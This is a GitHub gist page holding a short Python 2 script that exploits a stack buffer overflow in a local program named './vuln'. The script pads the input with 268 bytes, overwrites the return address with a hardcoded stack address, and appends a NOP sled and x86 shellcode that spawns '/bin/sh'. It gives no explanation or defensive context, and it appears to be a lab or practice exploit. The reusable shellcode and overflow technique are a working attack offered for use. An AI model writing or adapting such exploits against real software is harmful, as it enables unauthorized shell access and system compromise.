Created
January 27, 2017 13:31
-
-
Save un4ckn0wl3z/9be651d43702ec7d468a552138542ce0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import struct | |
| from subprocess import call | |
| #Stack address where shellcode is copied. | |
| ret_addr = 0xbffff4a0 | |
| #Spawn a shell | |
| #execve(/bin/sh) | |
| scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" | |
| #endianess convertion | |
| def conv(num): | |
| return struct.pack("<I",num) | |
| # buf = Junk + RA + NOP's + Shellcode | |
| buf = "A" * 268 | |
| buf += conv(ret_addr) | |
| buf += "\x90" * 100 | |
| buf += scode | |
| print "Calling vulnerable program" | |
| call(["./vuln", buf]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment